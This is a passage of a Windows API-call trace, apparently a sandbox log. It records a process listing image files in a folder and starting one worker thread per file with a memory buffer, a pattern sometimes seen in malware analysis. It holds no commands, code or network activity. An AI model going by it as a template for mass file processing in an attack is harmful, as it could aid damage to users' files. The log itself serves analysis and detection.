	[0237.137] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5398, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0200383.WMF", cAlternateFileName="")) returned 1
	[0237.137] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.138] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cc8
	[0237.140] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.140] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x366e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0200467.WMF", cAlternateFileName="")) returned 1
	[0237.140] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.141] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ccc
	[0237.143] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.143] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x273e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0200521.WMF", cAlternateFileName="")) returned 1
	[0237.143] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.144] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cd0
	[0237.145] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.146] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf36, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0200611.WMF", cAlternateFileName="")) returned 1
	[0237.146] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.146] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cd4
	[0237.519] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.520] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa50e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0202045.JPG", cAlternateFileName="")) returned 1
	[0237.520] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.521] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cd8
	[0237.523] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.524] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60b62300, ftCreationTime.dwHighDateTime=0x1be560f, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60b62300, ftLastWriteTime.dwHighDateTime=0x1be560f, nFileSizeHigh=0x0, nFileSizeLow=0x6e74, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0211981.WMF", cAlternateFileName="")) returned 1
	[0237.524] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.525] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cdc
	[0237.526] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.527] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x180e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0212299.WMF", cAlternateFileName="")) returned 1
	[0237.527] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.528] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ce0
	[0237.529] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.530] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x25cc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0212601.WMF", cAlternateFileName="")) returned 1
	[0237.530] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.531] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc5d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ce4
	[0237.532] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.533] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x199a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0212685.WMF", cAlternateFileName="")) returned 1
	[0237.535] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.535] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc608b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ce8
	[0237.537] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.538] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0212751.WMF", cAlternateFileName="")) returned 1
	[0237.538] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.539] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc63f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cec
	[0237.541] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.542] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0212953.WMF", cAlternateFileName="")) returned 1
	[0237.542] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.543] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc67670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cf0
	[0237.544] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.544] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0213243.WMF", cAlternateFileName="")) returned 1
	[0237.545] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.545] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6ad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cf4
	[0237.547] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.547] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf00, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0213449.WMF", cAlternateFileName="")) returned 1
	[0237.547] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.548] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6e430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cf8
	[0237.549] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.550] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7cb6, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0214934.WMF", cAlternateFileName="")) returned 1
	[0237.550] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.551] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc71b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cfc
	[0237.552] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.553] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaefa, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0214948.WMF", cAlternateFileName="")) returned 1
	[0237.553] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.554] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc751f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d00
	[0237.923] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.924] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26227e00, ftCreationTime.dwHighDateTime=0x1be5489, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26227e00, ftLastWriteTime.dwHighDateTime=0x1be5489, nFileSizeHigh=0x0, nFileSizeLow=0x2d6c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0215070.WMF", cAlternateFileName="")) returned 1
	[0237.924] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.925] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d04
	[0237.927] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.928] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2209e400, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2209e400, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1f50, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0215076.WMF", cAlternateFileName="")) returned 1
	[0237.928] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.929] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d08
	[0237.931] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.932] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x81ce, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0215210.WMF", cAlternateFileName="")) returned 1
	[0237.932] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.932] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d0c
	[0237.934] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.935] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x852fb100, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x852fb100, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x244a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0215709.WMF", cAlternateFileName="")) returned 1
	[0237.935] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.935] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d10
	[0237.937] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.938] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87920b00, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87920b00, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x45a2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0215710.WMF", cAlternateFileName="")) returned 1
	[0237.938] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.938] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d14
	[0237.940] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.940] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95e02700, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95e02700, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x15f2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0215718.WMF", cAlternateFileName="")) returned 1
	[0237.941] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.941] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d18
	[0237.943] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.944] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa783, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0216112.JPG", cAlternateFileName="")) returned 1
	[0237.944] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.945] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d1c
	[0237.947] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.947] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5474, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0216153.JPG", cAlternateFileName="")) returned 1
	[0237.947] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d20
	[0237.949] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.950] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa488, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0216540.WMF", cAlternateFileName="")) returned 1
	[0237.950] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.951] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d24
	[0237.952] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.953] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60dc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0216570.WMF", cAlternateFileName="")) returned 1
	[0237.953] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d28
	[0237.955] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.956] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f46, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0216600.WMF", cAlternateFileName="")) returned 1
	[0237.956] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.957] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d2c
	[0238.266] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.267] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24e2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0216612.WMF", cAlternateFileName="")) returned 1
	[0238.267] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.268] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d30
	[0238.269] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
